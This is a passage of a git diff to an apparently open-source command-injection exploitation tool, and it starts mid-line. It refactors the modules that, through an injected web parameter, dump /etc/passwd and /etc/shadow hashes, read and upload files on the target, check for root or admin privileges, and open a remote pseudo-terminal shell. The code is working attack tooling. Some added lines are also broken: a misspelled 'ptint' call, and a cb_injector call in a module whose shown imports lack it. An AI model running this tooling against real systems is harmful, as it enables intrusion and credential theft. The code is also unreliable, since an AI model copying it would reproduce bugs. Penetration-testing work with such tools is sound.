+ "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -449,22 +421,17 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" + settings.print_warning_msg(warn_msg)) + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass """ @@ -472,7 +439,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method """ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: cmd = settings.SYS_PASSES @@ -491,19 +459,16 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if sys_passes == "": sys_passes = " " if sys_passes : - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -516,7 +481,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -527,27 +492,23 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd - # if menu.file_access_options(): - # sys.stdout.flush() - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -561,43 +522,49 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + if shell and shell != "": + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) """ Check the defined options """ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == "win": checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True + if menu.options.is_root or menu.options.is_admin: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index 886590388d..bc9538b1b4 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -33,7 +33,7 @@ """ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -54,17 +54,13 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -153,8 +149,6 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -167,7 +161,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, """ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -213,8 +208,6 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 425c6da347..088316b646 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -126,12 +126,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: print(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) # Cookie header injection if settings.COOKIE_INJECTION == True: @@ -197,10 +193,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() - except KeyboardInterrupt: - raise - - except SystemExit: + except (KeyboardInterrupt, SystemExit): + print(settings.SINGLE_WHITESPACE) raise except EOFError: @@ -273,11 +267,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.total_of_requests() # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method + "" - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + "" + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -293,8 +289,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -316,8 +312,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -338,24 +334,24 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Check if defined single cmd. if menu.options.os_cmd: cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - - # Pseudo-Terminal shell - go_back = False - go_back_again = False - while True : - if go_back == True: - break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " - if settings.IS_TTY: - gotshell = common.read_input(message, default="Y", check_batch=True) - else: - gotshell = common.read_input(message, default="n", check_batch=True) - if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - try: + + try: + # Pseudo-Terminal shell + go_back = False + go_back_again = False + while True : + if go_back == True: + break + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) + if gotshell in settings.CHOICE_YES: + print(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) @@ -387,52 +383,39 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: + if shell or shell != "": shell = unescape(shell) # Update logs with executed cmds and execution results. logs.executed_command(filename, cmd, shell) - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) else: - if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - - except KeyboardInterrupt: - raise - - except SystemExit: - raise - - except EOFError: - if not settings.IS_TTY: - print(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - print(settings.print_error_msg(err_msg)) - raise - - elif gotshell in settings.CHOICE_NO: - if checks.next_attack_vector(technique, go_back) == True: - break - else: - if no_result == True: - return False + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) + elif gotshell in settings.CHOICE_NO: + if checks.next_attack_vector(technique, go_back) == True: + break else: - return True + if no_result == True: + return False + else: + return True + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() + else: + err_msg = "'" + gotshell + "' is not a valid answer." + print(settings.print_error_msg(err_msg)) + pass - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() + except (KeyboardInterrupt, SystemExit): + raise + + except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + print(settings.print_error_msg(err_msg)) + raise - else: - err_msg = "'" + gotshell + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 9b5fcb1e51..8f90f5b642 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -15,15 +15,12 @@ import re import sys - from src.utils import logs from src.utils import menu from src.utils import settings from src.utils import session_handler - from src.core.injections.controller import checks from src.thirdparty.colorama import Fore, Back, Style, init - from src.core.requests import requests from src.core.injections.results_based.techniques.eval_based import eb_injector @@ -57,14 +54,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ if float(ps_version): settings.PS_ENABLED = True # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = "Powershell version: " + ps_version + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -94,12 +90,12 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: - info_msg = "The hostname is " + str(shell) + "." + info_msg = "Hostname: " + str(shell) + "." print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -139,7 +135,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ distro_name = eb_injector.injection_results(response, TAG, cmd) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -160,20 +156,17 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() + if target_os and target_arch: + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -201,65 +194,54 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if cu_account: - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - if not alter_shell: - cmd = "\"" + cmd + "\"" - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + if not alter_shell: + cmd = "\"" + cmd + "\"" + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # Command execution results. + response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + # Perform target page reload (if it is required). + if settings.URL_RELOAD: + response = requests.url_reload(url, timesec) + # Evaluate injection results. + shell = eb_injector.injection_results(response, TAG, cmd) + shell = "".join(str(p) for p in shell).replace(" ", "", 1) + session_handler.store_cmd(url, cmd, shell, vuln_parameter) + else: + shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + """ System users enumeration """ @@ -302,14 +284,13 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 @@ -317,10 +298,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" if alter_shell: cmd = cmd.replace("'","\\'") - else: - cmd = "\"" + cmd + "\"" - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = eb_injector.injection_results(response, TAG, cmd) + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -338,30 +318,25 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) # Unix-like users enumeration. + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass - + + # Unix-like users enumeration. else: - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() + print(settings.print_info_msg(info_msg)) try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -371,11 +346,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = sys_users.split(" ") # Check for appropriate '/etc/passwd' format. if len(sys_users) % 3 != 0 : - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") @@ -387,12 +360,10 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method for user in range(0, len(sys_users), 3): sys_users_list.append(sys_users[user : user + 3]) if len(sys_users_list) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " in '" + settings.PASSWD_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -432,11 +403,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -450,30 +421,26 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method output_file.write(" " + sys_users) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.PASSWD_FILE + "'." - print("\n" + settings.print_warning_msg(warn_msg)) - + ptint(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass - except IndexError: - sys.stdout.write(settings.FAIL_STATUS) + print(settings.SINGLE_WHITESPACE) warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" - warn_msg += settings.PASSWD_FILE + "' to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass + """ System passwords enumeration """ def system_passwords(separator, 